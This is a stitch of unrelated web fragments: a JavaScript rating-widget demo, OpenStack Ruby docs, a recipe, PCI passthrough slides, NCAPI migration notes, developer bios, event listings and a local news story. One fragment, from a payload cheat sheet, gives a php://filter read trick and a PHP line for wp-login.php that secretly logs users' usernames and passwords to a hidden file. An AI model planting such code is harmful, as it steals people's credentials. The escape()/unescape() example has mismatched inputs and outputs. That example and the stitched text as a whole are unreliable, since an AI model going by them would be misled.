step: Askmethat.AskmethatRatingSteps["OnePerOneStep"],
inputName: "MyRating"
};
var div = document.getElementById("myBasicRating");
var amtRating = new Askmethat.AskmethatRating(div, 2, options);
Multiple independant rating
var options = {
backgroundColor : "#e5e500",
hoverColor: "#ffff66",
fontClass: "fa fa-star",
minRating: 1,
maxRating: 5,
readonly: false,
step: Askmethat.AskmethatRatingSteps["OnePerOneStep"]
};
var div = document.getElementById("myFirstMultipleRating");
var amtRating1 = new Askmethat.AskmethatRating(div, 1, options);
var div = document.getElementById("mySecondMultipleRating");
var amtRating2 = new Askmethat.AskmethatRating(div, 2, options);
Rating using different fonts
var options1 =
{
fontClass: "fa fa-cloud"
};
var options2 =
{
fontClass: "octicon octicon-clippy",
};
var div = document.getElementById("myFontAwesomeRating");
var amtRating1 = new Askmethat.AskmethatRating(div, 1, options1);
var div = document.getElementById("myOcticonRating");
var amtRating2 = new Askmethat.AskmethatRating(div, 1, options2);
Using the three differents step available for rating
var decimalOpt =
{
step: Askmethat.AskmethatRatingSteps["DecimalStep"]
};
var halpOpt =
{
step: Askmethat.AskmethatRatingSteps["HalfStep"]
};
var FullOpt =
{
step: Askmethat.AskmethatRatingSteps["OnePerOneStep"]
};
var div = document.getElementById("minimalStepRating");
var amtRating1 = new Askmethat.AskmethatRating(div, 1.8, decimalOpt);
var div = document.getElementById("halfStepRating");
var amtRating2 = new Askmethat.AskmethatRating(div, 1.5, halpOpt);
var div = document.getElementById("fullStepRating");
var amtRating3 = new Askmethat.AskmethatRating(div, 1, FullOpt);
Rating at readonly have events disabled
var options =
{
readonly: true,
};
var div = document.getElementById("readonlyRating");
var amtRating = new Askmethat.AskmethatRating(div, 3.2, options);
Event fired when the value of the rating change
0
var options = {
backgroundColor : "#e5e500",
hoverColor: "#ffff66",
fontClass: "fa fa-star",
minRating: 0,
maxRating: 5,
readonly: false,
step: Askmethat.AskmethatRatingSteps["HalfStep"]
};
var changeDiv = document.getElementById("changeEventRating");
var amtRating = new Askmethat.AskmethatRating(div, 0, options);
changeDiv.addEventListener("amt-change", function(e){
document.getElementById("changeEventRatingValue").innerHTML = e.detail;
});
If you want to display rating statistics, you can use the rating popover to display them
//popover
var options = {
backgroundColor : "#e5e500",
hoverColor: "#ffff66",
fontClass: "fa fa-star",
minRating: 0,
maxRating: 5,
readonly: true,
step: Askmethat.AskmethatRatingSteps["HalfStep"],
popover: {
color: "#e5e500",
fontClass: "fa fa-star",
direction: 0,
values : [20,20,20,20,20]
}
};
var changeDiv = document.getElementById("popoverRating");
var amtRating = new Askmethat.AskmethatRating(changeDiv, 0, options);


{% extends "layout.html" %} {% block content %}
This app takes your zip code and makes a spotify playlist of all the bands playing near you!


Returns a list of images with all associated meta-data in hash format.
# File lib/ropenstack/glance.rb, line 62 def images() return get_request(v2_address("images"), @token)["images"] end
Special rest call for sending a file stream using an octet-stream main change is just custom headers. Still implemented using do_request function.
# File lib/ropenstack/glance.rb, line 50 def put_octect(uri, data, manage_errors) headers = build_headers(@token) headers["Content-Type"] = 'application/octet-stream' req = Net::HTTP::Put.new(uri.request_uri, initheader = headers) req.body = data return do_request(uri, req, manage_errors, 0) end
Upload an image to glance from a file, takes in a ruby file object. More convoluted than it should be because for a bug in Quantum which just returns an error no matter the outcome.
# File lib/ropenstack/glance.rb, line 17 def upload_image_from_file(name, disk_format, container_format, minDisk, minRam, is_public, file) data = { "name" => name, "disk_format" => disk_format, "container_format" => container_format, "minDisk" => minDisk, "minRam" => minRam, "public" => is_public } imagesBefore = images() post_request(v2_address("images"), data, @token, false) imagesAfter = images() foundNewImage = true image = nil imagesAfter.each do |imageA| imagesBefore.each do |imageB| if(imageA == imageB) foundNewImage = false end end if(foundNewImage) image = imageA break end end return put_octect(address(image["file"]), file.read, false) end


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Makes 1-2 pancakes
Dietary
Socca is a Mediterranean pancake traditionally made with gram flour, water and olive oil. Gram flour is packed full of good protein and contains a high level of folate which provides vitamin B6, iron, magnesium and potassium.
Read our
guide to supercharging your pancakes.
Whisk together all of the dry ingredients with 185ml/6¼fl oz water in a bowl.
Heat the oil in a 20-25cm/8-10in non-stick frying pan over a medium heat. Add the onions and cook over a low heat for 4-5 minutes, or until soft. Add the sundried tomatoes and fry for 2 minutes.
Turn the heat up a little and use a ladle to pour the socca batter into the pan. Cook for 6 minutes on each side, or until golden and slightly crisp. You should be able to lift the edges of the pancake away from the pan and easily lift and flip the pancake without it breaking.
Transfer the pancake to a plate and scatter with the avocado, roasted peppers and coriander. Season with pepper and serve immediately.


Requirement: Virtualization
- Hypervisor transposes device from host address space to VM address space
- IOMMU only accounts for DMA translation
- Virtualization required for:
- Mapping device MMIO and I/O port resources
- Translating interrupt address spaces
- Topology translations
- External dependencies
PCI Resource Mapping
PCI BARs
- Describes resource type and features
- MMIO vs I/O port, 32-bit, caching, etc
- Exposes resource size
- Locates resources within address space…
User cannot relocate physical resource,
BARs must be virtualized and mapped
into VM address space
PCI BAR Virtualization
- Pass-through type and feature bits
- Emulate BAR sizing interface
- Map resources into VM address space
- Host resource address remains static
Emulate the standard programming
model defined by PCI
Except…
Is PCI configuration space the only
way to access these registers?
Config Space Backdoors
- PCI defines the configuration address
space and register definition
- Register implementation is not defined
- Implementations may expose configuration
space registers via multiple address spaces
Example Backdoors
- Config space mirrors in MMIO BAR spaces
- Window/data registers to config space
through I/O port BARs
- VGA register hooks to BAR offsets
Result: PCI config space virtualization is not sufficient for all devices
Needed:
Infrastructure for virtualizing config space registers across all address spaces
Our first quirk…
VFIOQuirks
- QEMU-based quirks
- Infrastructure within VFIOPCIDevice
for handling device specific quirks
- Helpers to facilitate common mirrors
and windows to PCI config space
- Extensive use of MemoryRegions
- VFIOQuirks are sub-regions within
the default region mapping
Problem solved?
- KVM maps MMIO at PAGE_SIZE granularity
- Any quirk within an otherwise directly mapped
page traps the entire page through QEMU
What other registers reside within the page?
Case Study: NVIDIA
- MSI “ACK” required to retrigger interrupt
- MMIO write through BAR0 config mirror
- Increases MSI re-triggering latency
(partially addressed with ioeventfd handling)
But device resource mappings are not the only ranges needing virtualization…
Interrupt Address Space
Message Signaled Interrupts (MSI) trigger by writing pre-programmed data to a pre-programmed address
Both of these require address space virtualization
MSI is entirely configured through PCI configuration space, already virtualized…
MSI-X
Address/Data specified per vector within
MMIO BAR resident vector table
MSI-X Vector Table
- Resides within MMIO BAR
- Requires address space translation
- Opportunities for backdoors
- Page size virtualization granularity
- No performance critical registers within
same page as MSI-X structures
- Some architectures use 64KB page size
MSI-X Vector Table Recommendations
- Use an exclusive BAR for MSI-X data structures
- Or, allow ample alignment of structures (64KB)
- For existing devices, “x-msix-relocation”:
- QEMU vfio-pci device option
- Modifies MSI-X capability to relocate to new BAR or extend existing BAR for alignment
Topology & Firmware Considerations
- Does the device driver depend on or assume
PCI capability presence or offsets?
- Virtualization may change, move, or hide
- Does the device depend on other devices,
firmware tables, or reserved memory?
- Intel IGD (GVT-d): All of the above!
- Integrated vs Discrete mindset
Lessons
- Avoid “backdoors” to PCI config space
- Use VFIOQuirks to fill virtualization gaps
- Be mindful of virtualization granularity
- Avoid external dependencies and
hardwired assumptions
Corollary: Assigned device config space accesses may be slower than bare metal


We provide high class Internship Training for the college students on both Academic & Job Seeking purposes. Candidates can get training from basic to realtime project development. We provide Company Certification, Free Project and Documentation for all Students.


Methods
clickMarkerEvent(marker)
Function that runs once a marker is clicked. Given a marker, it will show the object current information and make it jump, or turn these behaviours off in case they are enabled.
Parameters:
| Name | Type | Description |
|---|---|---|
marker |
Object | The marker clicked. |
- Source:
createInfoWindow(place, markerId, customMaxWidth) → {Object}
Creates and returns an InfoWindow object with the given parameters.
Parameters:
| Name | Type | Description |
|---|---|---|
place |
Object | The place with the necessary information for the InfoWindow. |
markerId |
Number | The Id of the marker where to which this infoWndow is associated. |
customMaxWidth |
Number | OPTIONAL, The width of the Infowindow. If not declared, uses the default value of 200px. |
- Source:
Returns:
The InfoWindow object with the given information.
- Type
- Object
createMarker(aPosition, aTitle, aLabel, isDraggable, anAnimation) → {Object}
Creates and returns a marker with the given parameters. Depends on the global variable
map
.
Parameters:
| Name | Type | Description |
|---|---|---|
aPosition |
Object | The Position object (containing a lat and lng properties) with the coordinates of the marker. |
aTitle |
String | The title of the marker. |
aLabel |
Char | OPTIONAL, The label of the marker. Markers can only have labels with 1 (one) character. If it is not set, defaults to to empty '' . |
isDraggable |
Boolean | OPTIONAL, If the marker is draggable or not. If not set, defaults to false . |
anAnimation |
Object | OPTIONAL, The animation of the marker when it is added to the map. If not set, defaults to google.maps.Animation.DROP . |
- Source:
Returns:
Returns the created marker object.
- Type
- Object
deleteAllMarkers()
Deletes all the markers currently being tracked by MarkerTracker from the maps they are in. Activated once the "Delete Markers" button is clicked.
- Source:
deleteMarkerClickEvent(event)
Deletes the mark associated with the clicked delete button.
Parameters:
| Name | Type | Description |
|---|---|---|
event |
MouseEvent | The mouse 'click' event. |
- Source:
hideAllMarkers()
Hides all the markers currently being tracked by MarkerTracker from the maps they are in. Activated once the "Hide Markers" button in the UI is clicked.
- Source:
hideMarkerClickEvent(event)
Hides the mark associated with the clicked hide button.
Parameters:
| Name | Type | Description |
|---|---|---|
event |
MouseEvent | The mouse 'click' event. |
- Source:
initMap()
Initializes the and the libraries.
- Source:
initSearchBox()
Function containing the initilization of the searchbox together with the listeners it uses.
- Source:
showAllMarkers()
Shows all the markers currently tracked by MarkerTracker that are hidden and restores their animations. Activated once the "Show all Markers" button in the UI is clicked.
- Source:


This directive specifies the location of
Squid's error message files. If you want to
customize the error messages, you should put them into a nondefault
directory. Otherwise, they may be overwritten if you run
make install in the future. |
Syntax
|
error_directory directory
| |
Default
|
error_directory $prefix/share/errors/$language
| |
Example
|
error_directory /usr/local/squid/share/my_errors
| |
Related
|
icon_directory,
err_html_text, deny_info
|
|


In the spring of 2019, I decided to change career directions and become a programmer. I spent several months taking online courses trying to narrow down what I wanted to do. After taking several HTML/CSS courses, I muddled through the design and development of my first website. I learned a LOT, including how much I didn't know, but I also enjoyed it tremendously. I decided to continue expanding my learning to include JavaScript, and I'm currently working my way through the Full-Stack Developer Path at Codecademy, which I plan to complete in the Spring of 2021.
When I leave my laptop, I enjoy outdoor activities like hiking, camping, and biking. I train and teach at an all-female karate dojo, where I am working towards my black belt. The geek in me loves to assemble puzzles (Star Wars Photomosaics are my favorite challenge), solve word and math puzzles/games, and read. I also enjoy knitting and crocheting to relax.


Migrating Python Applications from NCAPI v1 to NCAPI v2
Complete Python API documentation can be found here:
| NCAPI v2 Documentation | NCAPI v1 Documentation |
|---|---|
| Python API v2 | Python API v1 |
FIFO queues
In the Intel® Movidius™ Neural Compute SDK (Intel® Movidius NCSDK) v1, the Graph class was used to load an input tensor to a neural compute device and to read the output inference result.
NCAPI v2 introduced the Fifo class for input/output FIFO queues. This allows multiple inputs to be queued for inference and allows multiple graphs to read from the same input queue. Fifo usage is required by the NCAPI v2.
Typical Fifo usage through the NCAPI is as follows:
- Allocate a graph and create and allocate input and output Fifos with Graph.allocate_with_fifos().
- Add input tensors to the input FIFO and queue an inference with Graph.queue_inference_with_fifo_elem().
- Read the inference result from the output Fifo with Fifo.read_elem().
- After usage, free Fifo resources with Fifo.destroy().
See the Example Code Comparison section below for example Fifo usage.
Input/output data types
In NCAPI v1, input data for inferences had to be 16 bit floating point data type.
In NCAPI v2, input data for inferences can be 16 bit or 32 bit floating point data type. The default data type is FP32. The data type is set for each Fifo using Fifo.set_option() with FifoDataType.
Note: If the input FifoDataType is configured to FP32, the API will convert the data to the FP16 data type automatically when performing inferences. If the output FifoDataType is configured to 32FP, the API will convert the output back to the FP32 data type.
fifo.set_option(mvncapi.FifoOption.RW_DATA_TYPE, mvncapi.FifoDataType.FP32)
Other changes
Most class and function names and signatures were updated. Please reference the NCAPI v2 documentation for correct usage.
Equivalent API Calls
Enumerations
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| Status | Status | |
| DeviceOption | DeviceOption | There are new options in NCAPI v2. |
| GlobalOption | GlobalOption | There are new options in NCAPI v2. |
| GraphOption | GraphOption | There are new options in NCAPI v2. |
| n/a | FifoOption | This is a new enumeration in NCAPI v2 containing options for the new Fifo class. |
| n/a | DeviceState | This is a new enumeration in NCAPI v2 containing possible Device states. |
| n/a | GraphState | This is a new enumeration in NCAPI v2 containing possible Graph states. |
| n/a | FifoState | This is a new enumeration in NCAPI v2 containing possible Fifo states. |
| n/a | FifoType | This is a new enumeration in NCAPI v2 containing possible Fifo types (i.e. read-only, write-only, etc.). |
| n/a | FifoDataType | This is a new enumeration in NCAPI v2 containing possible Fifo data types. |
| n/a | DeviceHwVersion | This is a new enumeration in NCAPI v2 containing neural compute device hardware versions. |
| n/a | LogLevel | This is a new enumeration in NCAPI v2 containing application logging levels. |
Structures
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| n/a | TensorDescriptor | This is a Structure class that describes graph inputs and outputs. Use Graph.get_option() for GraphOption.INPUT_TENSOR_DESCRIPTORS and GraphOption.OUTPUT_TENSOR_DESCRIPTORS to get this data. |
Global Functions
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| EnumerateDevices() | enumerate_devices() | |
| SetGlobalOption() | global_set_option() | |
| GetGlobalOption() | global_get_option() |
Classes
Device
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| Device | Device | |
| Device.OpenDevice() | Device.open() | |
| Device.AllocateGraph() | Graph() + Graph.allocate() or Graph() + Graph.allocate_with_fifos() |
In NCAPI v2 two calls are required to first initialize a Graph object and then allocate the graph to the device. Graph.allocate_with_fifos() is a convenience function that creates and returns input and output Fifos in addition to calling Graph.allocate(). |
| Device.CloseDevice() | Device.close() + Device.destroy() | |
| Device.GetDeviceOption() | Device.get_option() | |
| Device.SetDeviceOption() | Device.set_option() |
Graph
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| Graph | Graph | In NCAPI v2 Graph objects must be initialized before being passed to the Graph.allocate() function. |
| Graph.GetResult() | Fifo.read_elem() | In NCAPI v2 inference results are read from an output Fifo that was passed to the Graph.queue_inference() method. |
| Graph.LoadTensor() | Fifo.write_elem() + Graph.queue_inference() or Graph.queue_inference_with_fifo_elem() |
In NCAPI v2 input must be written to a properly initialized and created Fifo that will be passed to the Graph.queue_inference() method for inference. Graph.queue_inference_with_fifo_elem() is a convenience function that combines Fifo.write_elem() and Graph.queue_inference() into one call. |
| Graph.DeallocateGraph() | Graph.destroy() | |
| Graph.GetGraphOption() | Graph.get_option() | |
| Graph.SetGraphOption() | Graph.set_option() |
Fifo (new to NCAPI2)
| NCAPI v1 | NCAPI v2 | Notes |
|---|---|---|
| n/a | Fifo | See the Fifo documentation or the Example Code Comparison section below for more complete examples of Fifo usage. |
| n/a | Fifo.allocate() | This must be called before attempting to read/write to/from the Fifo. |
| n/a | Fifo.destroy() | When done using the Fifo, this must be called to free associated resources. |
| n/a | Fifo.read_elem() | This replaces NCAPI v1’s Graph.GetResult(). |
| n/a | Fifo.write_elem() | This replaces NCAPI v1’s Graph.LoadTensor() when used in conjunction with Graph.queue_inference(). The convenience function Graph.queue_inference_with_fifo_elem() can be used to combine both NCAPI v2 calls into one. |
| n/a | Fifo.get_option() | See FifoOption / FifoType / FifoDataType. |
| n/a | Fifo.set_option() | See FifoOption / FifoType / FifoDataType. |
Example Code Comparison
This section contains basic usage examples for NCAPI v1, NCAPI v2, and NCAPI v2 with convenience functions for comparison.
NCAPI v1:
"""NCAPI v1"""
from mvnc import mvncapi
# Open a device
device_list = mvncapi.EnumerateDevices()
device = mvncapi.Device(device_list[0])
device.OpenDevice()
# Load a graph from file at some GRAPH_FILEPATH
GRAPH_FILEPATH = './graph'
with open(GRAPH_FILEPATH, mode='rb') as f:
graph_buffer = f.read()
# Allocate the graph to the device
graph = device.AllocateGraph(graph_buffer)
# Read and pre-process input (16 bit floating point data type required)
input_tensor = ...
# Load the image to the device and trigger an inference
graph.LoadTensor(input_tensor, 'user object')
# Get the results from the device
output, userobj = graph.GetResult()
# Do something with the results...
# Clean up
graph.DeallocateGraph()
device.CloseDevice()
NCAPI v2:
"""NCAPI v2"""
from mvnc import mvncapi
# Initialize and open a device
device_list = mvncapi.enumerate_devices()
device = mvncapi.Device(device_list[0])
device.open()
# Initialize a graph from file at some GRAPH_FILEPATH
GRAPH_FILEPATH = './graph'
with open(GRAPH_FILEPATH, mode='rb') as f:
graph_buffer = f.read()
graph = mvncapi.Graph('graph1')
# Allocate the graph to the device
graph.allocate(device, graph_buffer)
# Get the graphTensorDescriptor structs (they describe expected graph input/output)
input_descriptors = graph.get_option(mvncapi.GraphOption.INPUT_TENSOR_DESCRIPTORS)
output_descriptors = graph.get_option(mvncapi.GraphOption.OUTPUT_TENSOR_DESCRIPTORS)
# Create input/output Fifos
input_fifo = mvncapi.Fifo('input1', mvncapi.FifoType.HOST_WO)
output_fifo = mvncapi.Fifo('output1', mvncapi.FifoType.HOST_RO)
input_fifo.allocate(device, input_descriptors[0], 2)
output_fifo.allocate(device, output_descriptors[0], 2)
# Read and pre-process input (data type must match input Fifo data type)
input_tensor = ...
# Write the image to the input queue
input_fifo.write_elem(input_tensor, None)
# Queue the inference
graph.queue_inference(input_fifo, output_fifo)
# Get the results from the output queue
output, user_obj = output_fifo.read_elem()
# Do something with the results...
# Clean up
input_fifo.destroy()
output_fifo.destroy()
graph.destroy()
device.close()
device.destroy()
NCAPI v2 with convenience functions:
"""NCAPI v2"""
from mvnc import mvncapi
# Initialize and open a device
device_list = mvncapi.enumerate_devices()
device = mvncapi.Device(device_list[0])
device.open()
# Initialize a graph from file at some GRAPH_FILEPATH
GRAPH_FILEPATH = './graph'
with open(GRAPH_FILEPATH, mode='rb') as f:
graph_buffer = f.read()
graph = mvncapi.Graph('graph1')
# CONVENIENCE FUNCTION:
# Allocate the graph to the device and create input/output Fifos with default options in one call
input_fifo, output_fifo = graph.allocate_with_fifos(device, graph_buffer)
# Read and pre-process input (data type must match input Fifo data type)
input_tensor = ...
# CONVENIENCE FUNCTION:
# Write the image to the input queue and queue the inference in one call
graph.queue_inference_with_fifo_elem(input_fifo, output_fifo, input_tensor, None)
# Get the results from the output queue
output, user_obj = output_fifo.read_elem()
# Do something with the results...
# Clean up
input_fifo.destroy()
output_fifo.destroy()
graph.destroy()
device.close()
device.destroy()


--- layout: default title: Sitespeed.io - Release notes 2.2.2 description: Sitespeed.io 2.2.2 release focus on some small bug fixes. author: Peter Hedenskog keywords: sitespeed.io, release, release-notes, 2.2.2 nav: image: https://www.sitespeed.io/img/sitespeed-2.0-twitter.png twitterdescription: This release fixes a couple of small bugs. ---
This release contains a couple of bug fixes:
See the changelog for changes done in the past.


About me
My name is Peter Staker. I'm enthusiastic about technology and I have a background in philosophy. I’ve worked as a Bartender, Event Promoter, Brand Ambassador, Prosecutor Assistant and I’ve helped open two restaurants. Education and lifelong learning are very important to me and over these past few years, I've fully committed to a growth mindset and a never-ending pursuit of knowledge. I completed a web development certificate while I earned my BA from the University of Washington. I was lucky enough to discover my passion for technology, development, and design, which motivated me to take numerous online courses covering a broad range of technologies, tools and concepts. My ultimate goal is to begin my new tech career in an environment conducive to learning, growth, and professional development.


Al-Jazeera
Dashboard
Tenant
Property
Landlord
Toggle navigation
Tenant Registration
Add Tenant
Muhammad
Profile
Sign Out
About
Work
Next of Kin
Please tell us more about yourself.
Choose Picture
First Name
(required)
Last Name
(required)
ID Number
(required)
kra pin
(required)
Mobile
(required)
Where do you work?
Employer
Location
City
Mombasa
Contact
Email
Job Title
Job Description
Oh so, your weak rhyme You doubt I'll bother, reading into it I'll probably won't, left to my own devices But that's the difference in our opinions.
Are you living in a nice area?
First Name
Last Name
ID Number
Mobile Number
Citiy
Mombasa


Engagements for December 10
RELIGION
Gita: Satyavratananda, Kesari High School, Pondy Bazaar extension, T. Nagar, 6 p.m.
Sundarakaandam: B. Sundarkumar, Sastra Sathsang, Karnan street, Rangarajapuram, Kodambakkam, 6.30 p.m.
Thiru Arutpa: R. Narayanan, Sakthi Vinayakar temple, P.T.Rajan road, K.K. Nagar, 6 p.m.
Mukunda Mala: Moksha Vidhyaananda Sarasvati, Thirupugazh Street, Kamatchi Nagar, Valasaravakkam, 11 a.m.
GENERAL
Sri Sai Ram Engineering College: Five day faculty training programme- innovation in teaching pedagogy, Smart Class room, West Tambaram, 9.30 a.m.
TANUVAS: 21st Convocation, Governor of Tamil Nadu Banwarila Purohit presides, Anna Auditorium, Vepery, 11 a.m.
YMCA: Talk on Tholkappiam by B. Thamaraikannan and V.M.S. Andavar, YMCA Esplanade auditorium, NSC Bose Road, 6 p.m.
Asan Memorial Association: Awarding of Asan Smaraka Kavitha Puraskaram to poet S. Remesan, Ammu Swaminathan auditorium, Anderson road, Cochin House, 5 p.m.
Presidency College Alumni Association: 141th birth anniversary of Rajaji, Thiruvalluvar arangam, College premises, 10.30 a.m.
Saveetha Institute of Medical and Technical Sciences: 3rd Academy of Dentistry International(ADI) Global Conclave 2019, M.M. Convention centre, Velappanchavadi, 12.30 p.m.
Narcotics Anonymous: Meeting, Self Help Group, Community Service Center, Balfour Rd., Kilpauk, 7 p.m
Al-Anon: Meetings, Blessings AFG, Divine School, S.V. Nagar, Oragadam, Ambattur; CSI James Church, Ullagaram; Conscious AFG, Ezhil Model School, Kodungaiyur; Living Sober AFG, CSI Church, Kalaignar Nagar, Othavadai, Thiruvottiyur; and St. Anne Church, Pallavan Salai, Nesapakkam, 7 p.m.
Alcoholics Anonymous: Meetings, Santhome HSS., Mylapore; CBF Church, Banu Nagar, Pudur, Ambattur; C.S.I. James Church, Medavakkam Main Rd., Ullagaram; St. Josephs Anglo Indian HSS., Vepery; Dr. M.G.R. MHSS., Arcot Rd., Saligramam; Bedhasda Swimming Pool, Elaya Mudali St., Tondiarpet; Christ the King Church, G.K.M. Colony, Peravallur; St. Teresa Church, Nungambakkam High Rd.; ECI Church, Dr. Ambedkar St., Arumbakkam; Bharath Dass School, Perungudi; Karnataka HSS., Habibullah Rd., T. Nagar S.B.M. School, Perumal Kovil St., Thiruverkadu; and English Language Meeting, Church of Christ, W-76, Anna Nagar, 7 p.m.


Hardworking, dedicated and efficient, I am a Brooklyn-based former attorney who focused on complex commercial litigation. I bring the same attention to detail and professionalism to web development that I did to the practice of law.
My skills include
(rated out of 5):
Academic linguists often work with electronic versions of texts, but no standardized database, or API for interacting with texts, currently exists. As a consequence, linguists have no easy way to organize, analyze or access the massive documents, and collections of documents, they need for their research.
People love sharing photos and people love games. Wouldn't it be great if there were a a mobile app that allowed users to share photos in a structured, gameified fashion?
Earlier this year I attended Dev Bootcamp (DBC), a 19-week intensive web development program in Manhattan. DBC had a robust peer-mentoring program, where more advanced students could sign up to mentor less advanced ones. Every day at lunch, the staff would remind us to sign up by saying, "There's a board," and pointing to an old-fashioned signup board in the corner. Surely a web development program deserved a web-based system.
Introducing Digital Lingustics, a project that allows linguists to store, access, and search linguistic texts. The project comprises three components: a standard data format (JSON) for storing linguistic data; a standardized API for accessing linguistic texts that have been stored in the standardized format; and a website serving as a layman-friendly access tool for accessing a DLx-standardized database. DLx uses Javascript on the front-end, aiming to use vanilla JS as much as possible; Node on the back-end, and MongoDB for data storage.
Picture this: an app that provides a simple game-like format for iPhone and Android. The app allows users to create a game for a set of players, drawn from their contacts; players in that game then receive a prompt. Users have 24 hours to take and upload a photo matching the prompt, after which they can view everyone's submissions. Built using Cordova/Phonegap, with a JS/jQuery front-end and Rails backend, plus AWS bucket for photo handling.
While still at DBC I and a few of my classmates developed and built There's A Board, a jQuery/Bootstrap/Rails app that modernized the mentoring signup process. Mentors and students could sign up, create appointments, sign up for existing appointments, and leave reviews and comments of past appointments. We used jQuery to AJAXify the front end, Bootstrap for styling and Rails on the back end.
I have primary responsibility for DLx's front-end. Accordingly, I am building front-end models (using ES6's classical syntactic sugar) and API utility methods, (using ES6 promises) including basic searching and CRUD functionality.
I had sole responsibility for the Javascript and jQuery on Picture This's front end, as well as implementation of Cordova/Phonegap and setting up the testing environment for it. I designed and implemented the HTML structure and the logic that controlled all user interaction with the app. I also contributed to teh design and implementation of the API (in Ruby on Rails) used to communicate with the PostgreSQL and AWS databases.
My primary responsibility was back end logic: I set up controllers, wrote class methods for our models, and handled simple filtering algorithms that allowed users to filter appointments by subject. I also took a leadership role on the team of 4 students: I organized the development process and served as point person in our check-in meetings.


Preston's Adelphi Quarter road works set to start
by Megan TitleyA key phase in work to create a new gateway into Preston is due to start on Monday.
The work around the Adelphi Quarter, connecting the university to the city centre, will bring nine months of roadworks to the area, with further details on the work being confirmed today.
It is part of the University of Central Lancashire’s (UCLan) £200m transformation of its Preston campus.
Michael Ahern, UCLan’s chief information and infrastructure officer, said: “We are on schedule to complete the first stage of the highways work as planned and we are doing everything we can to highlight the changes to the road layout around the Adelphi roundabout during the next important stage which will commence on November 25.
“We really appreciate the patience of everyone so far and look forward to the near future when our £60m Student Centre rises about the skyline and the new civic square comes to life. As this next important phase progresses we aim to minimise disruption as far as possible.
“By working with our partners we will share and communicate information updates with the public as soon as possible.”
The next nine-month phase begins on Monday when a new, two-way stretch of highway will open, directly linking Fylde Road with Corporation Street.
Once the new road has opened, Adelphi Street will close temporarily from the Adelphi Roundabout to St Peter’s Street.
Joan Marsden, owner of The Secret Garden Flower Shop in Adelphi Street, told the Post that it was impossible for her to know how the works would affect her business but that UCLan was working with her over the process.
She said: “The business is going to be affected but we are working with them.
“There’s no point in protesting because when the work’s done it will be better.
“It’s going to be hard work for me because I’ll have to park further away but they’ve actually bought me a trolley so that it will be easier to trolley my flowers in.
“Hopefully, they will get the work done within the time scheduled.
“Until it happens we don’t know how hard its going to be. The sooner its done the better.”
Newly constructed parking bays on St Peter’s Street will maintain access for customers using Adelphi Street businesses, all of which will remain open during these works.
Friargate will close at its junction with Hope Street but access to businesses for deliveries will be maintained through a two-way loop on Friargate. For other motorists, all roads will remain open as normal unless otherwise stated.
Hope Street car park will remain open during the works, with access from Corporation Street and Friargate.
Exit will be via Corporation Street only.
Traffic restrictions will also be in place on Moor Lane and Walker Street with no access from these routes through the Adelphi Roundabout, but vehicle access for residents and businesses in Moor Lane and Walker Street will remain open.
Alternative routes will be available around the Adelphi roundabout for cyclists, pedestrians and residents wanting to access Adelphi Street, Friargate, Moor Lane and Walker Street.
Businesses on all affected roads will remain open as usual with full pedestrian access available.
Alternative bus routes and timetables will also be in operation.
To help with any queries from members of the public, an information drop-in is now available at the Balfour Beatty on-site base in Cold Bath Street adjacent to the Media Factory each Tuesday from 9am until 6.30pm.
At weekends, UCLan car parks are available and free for general public use.
UCLan is working in partnership with Lancashire County Council and contract partner Balfour Beatty on the masterplan.
* To stay informed of any travel updates and for more detail about the new highways scheme, visit www.uclanmasterplan.co.uk or follow @uclanmasterplan on Twitter. Alternatively, email the Masterplan team at uclanmasterplan@uclan.ac.uk.


General Information
Publications
- Finding Bugs is Easy, a
paper that appeared in the December 2004 issue of SIGPLAN Notices.
An extended abstract of the paper appeared in the OOPSLA 2004 Companion,
as part of the Onward! track of the conference.
- A Comparison of Bug Finding Tools for Java, by Nick Rutar, Christian Almazan, and Jeff Foster,
compares several bug checkers for Java, including FindBugs.
- Chris Grindstaff has written a two-part article about FindBugs
(Part 1,
Part 2)
for IBM developerWorks.
Send comments to
|


XXE example payloads in PayloadAllTheThings
php://filter/convert.base64-encode/resource=
Control the source of an application:
Login pages: grab passwords, write to locations or overwrite passwords, etc
Password logger for wordpress: wp-login.php, appended after case 'login' : default:
file_put_contents(".PleaseSubscribe", $_POST['log'] . ":" . $_POST['pwd'] . "\n", FILE_APPEND);


The TouchGFX Documentation site does not support Internet Explorer.
For a safer and faster user experience use a modern browser like Chrome, Firefox, Safari, Opera, or Edge.


/*
Copyright 2016 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* # workbox-cacheable-response
*
* Given a `Response` object this library determines whether
* it's "cacheable", based on the response's status code and / or
* header values.
*
* Most develpers will use this module by instantiating a new
* `CachaebleResponsePlugin` and passing it to a
* {@link module:workbox-runtime-caching.RequestWrapper|RequestWrapper},
* as shown in the example below.
*
* @example <caption>Using the CachaebleResponsePlugin class in a
* service worker.</caption>
*
* // The responses will be cached if the response code is 0, 200, or 404, and
* // will not be cached otherwise.
* const cacheablePlugin = new workbox.cacheableResponse.Plugin({
* statuses: [0, 200, 404]
* });
*
* const requestWrapper = new workbox.runtimeCaching.RequestWrapper({
* cacheName: 'runtime-cache',
* plugins: [
* cacheablePlugin
* ]
* });
*
* const route = new workbox.routing.RegExpRoute({
* match: ({url}) => url.domain === 'example.com',
* handler: new workbox.runtimeCaching.StaleWhileRevalidate({requestWrapper})
* });
*
* @module workbox-cacheable-response
*/
import CacheableResponse from './lib/cacheable-response';
import CacheableResponsePlugin from './lib/cacheable-response-plugin';
export {
CacheableResponse,
CacheableResponsePlugin,
};


Home > JavaScript Questions > Explain the difference between escape() and unescape() functions?
The escape() function allows for converting a string into a coded form in JavaScript. It is used for securely transferring information from one system to another over some network. For instance, consider the following code snippet:
This%20string%20is%20encoded%21
The output of the aforementioned code snipped will be something like this:
This%3F%20string%20is%20encoded%21
The unescape() function does the exact opposite of the escape() function i.e. it decodes a coded string into the original string. Therefore, the following code snippet:
This? string is encoded!
Will yield the following output:
This string is encoded!


